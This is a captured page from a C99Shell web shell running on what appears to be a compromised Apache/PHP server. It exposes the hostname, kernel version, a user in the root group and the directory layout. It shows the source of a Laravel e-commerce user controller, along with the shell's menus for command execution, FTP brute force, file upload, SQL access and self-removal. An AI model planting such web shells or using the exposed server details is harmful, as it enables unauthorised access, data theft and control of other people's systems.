!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/Api/User/   drwxr-xr-x
Free 26.85 GB of 117.98 GB (22.76%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UserController.php (7.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package UserController
 * @author TechVillage <support@techvill.org>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 25-01-2022
 */
namespace App\Http\Controllers\Api\User;

use 
App\Http\Controllers\Controller;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Hash;
use 
App\Http\Resources\{TopSellerResourceuserDetailResourceWalletResource};
use 
App\Models\{ProductOrderOrderStatusUserWallet};

class 
UserController extends Controller
{
    
/**
     * User profile
     * @return json $data
     */
    
public function profile()
    {
        
$id auth()->guard('api')->user()->id;
        
$response $this->checkExistence($id'users');
        if (
$response['status']) {
            return 
$this->response([
                
'data' => new userDetailResource(User::getAll()->where('id'$id)->first())
            ]);
        }
        return 
$this->response([], 204$response['message']);
    }

    
/**
     * Update User Information
     * @param Request $request
     * @return json $data
     */
    
public function update(Request $request)
    {
        
$id auth()->guard('api')->user()->id;
        
$response $this->checkExistence($id'users');
        if (
$response['status'] === true) {
            
$validator User::siteUpdateValidation($request->all(), $id);
            if (
$validator->fails()) {
                return 
$this->unprocessableResponse($validator->messages());
            }

            if ((new 
User)->updateUser($request->only('name''email''phone''birthday''address''gender'), $id)) {
                return 
$this->okResponse([], __('The :x has been successfully saved.', ['x' => __('Customer Info')]));
            } else {
                return 
$this->okResponse([], __('No changes found.'));
            }
        }
        return 
$this->response([], 204$response['message']);
    }

    
/**
     * Update password
     * @param Request $request
     * @return json $response
     */
    
public function updatePassword(Request $request)
    {
        
$id auth()->guard('api')->user()->id;
        
$response $this->checkExistence($id'users', ['getData' => true]);
        if (
$response['status']) {
            
$validator User::siteUpdatePasswordValidation($request->all());
            if (
$validator->fails()) {
                return 
$this->unprocessableResponse($validator->messages());
            }
            if (!
Hash::check($request->old_password$response['data']->password)) {
                return 
$this->errorResponse([], 422__('Old password is wrong.'));
            }
            
$request['password'] = Hash::make(trim($request->new_password));

            if ((new 
User)->siteUpdatePassword($request->only('password'), $id)) {
                return 
$this->okResponse([], __('The :x has been successfully saved.', ['x' => __('Password')]));
            } else {
                return 
$this->okResponse([], __('Nothing is updated.'));
            }
        }
        return 
$this->response([], 500$response['message']);
    }

    
/**
     * Delete
     * @param Request $request
     * @return json $response
     */
    
public function destroy(Request $request)
    {
        
$id auth()->guard('api')->user()->id;
        
$response $this->checkExistence($id'users', ['getData' => true]);
        if (
$response['status']) {
            if (
in_array('super-admin'User::getSlug($id))) {
                return 
$this->response([], 422__("Admin account can't be deleted."));
            }
            if (!
Hash::check($request->password$response['data']->password)) {
                return 
$this->response([], 422__('Password does not match'));
            }
            if (
User::where('id'$id)->update(['status' => 'Deleted'])) {
                
\Auth::guard('api')->user()->token()->delete();
                return 
$this->okResponse([], __('Your :x has been successfully deleted.', ['?' => __('Account')]));
            }
        }

        return 
$this->response([], 404$response['message']);
    }

    
/**
     * Top seller
     *
     * @param Request $request
     * @return array|\Illuminate\Http\JsonResponse
     */
    
public function topSeller(Request $request)
    {
        
$configs $this->initialize([], $request->all());
        
$items Product::select('vendor_id')
                    ->
distinct()
                    ->
whereNotNull('total_sales')
                    ->
where('status''Active')
                    ->
orderBy('total_sales''DESC')
                    ->
take(20)
                    ->
with('vendor:id,name,email,phone,status')
                    ->
get();
        return 
$this->response([
            
'data' => TopSellerResource::collection($items),
        ]);
    }

    
/**
     * order track
     *
     * @param Request $request
     * @return array|\Illuminate\Http\JsonResponse
     */
    
public function track(Request $request)
    {
        
$order Order::where('reference'$request->reference ?? null)->first();
        if (empty(
$order)) {
            return 
$this->notFoundResponse([], __('Order not found.'));
        }

        
$orderStatus OrderStatus::getAll()->sortBy('order_by');
        
$data = [];
        
$orderData = [
              
'is_delivery' => 1,
              
'order_by' => optional($order->orderStatus)->order_by
        
];
        foreach (
$orderStatus as $status) {
                
$active optional($order->orderStatus)->order_by >= $status->order_by true false;
                
$orderDate $status->orderHistories()->latest()->first();
                
$data[] = [
                    
'name' => $status->name,
                    
'is_active' =>   $order->orderStatus->order_by >= $status->order_by true false,
                    
'orderDate' => !empty($orderDate) && $active == true timeZoneFormatDate($orderDate->created_at) . " " timeZoneGetTime($orderDate->created_at) : ''
                
];
        }

        return 
$this->response([
            
'data' => $data,
            
'orderData' => $orderData
        
]);
    }

    
/**
     * Get User Wallet
     *
     * @return json
     */
    
public function wallet($id null)
    {
        if (
is_null($id)) {
            
$id auth()->user()->id;
        }

        
$wallets Wallet::with(['user''currency'])->where('user_id'$id)->get();

        if (
$wallets->count()) {
            return 
$this->response([
                
'data' => WalletResource::collection($wallets)
            ]);
        }

        return 
$this->notFoundResponse([], __('Your wallet is empty.'));
    }

    public function 
addonActivity(Request $request)
    {
        if (isset(
$request->name)) {
            return 
$this->successResponse([
                
'data' => isActive($request->name)
            ]);
        }

        return 
$this->errorResponse([], 500);
    }

    
/**
     * remove user image
     *
     * @return mixed
     */
    
public function removeImage()
    {
        if ((new 
User)->removeProfileImage()) {
            return 
$this->okResponse([], __('Profile image remove successfully.'));
        }

        return 
$this->errorResponse([], 500);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--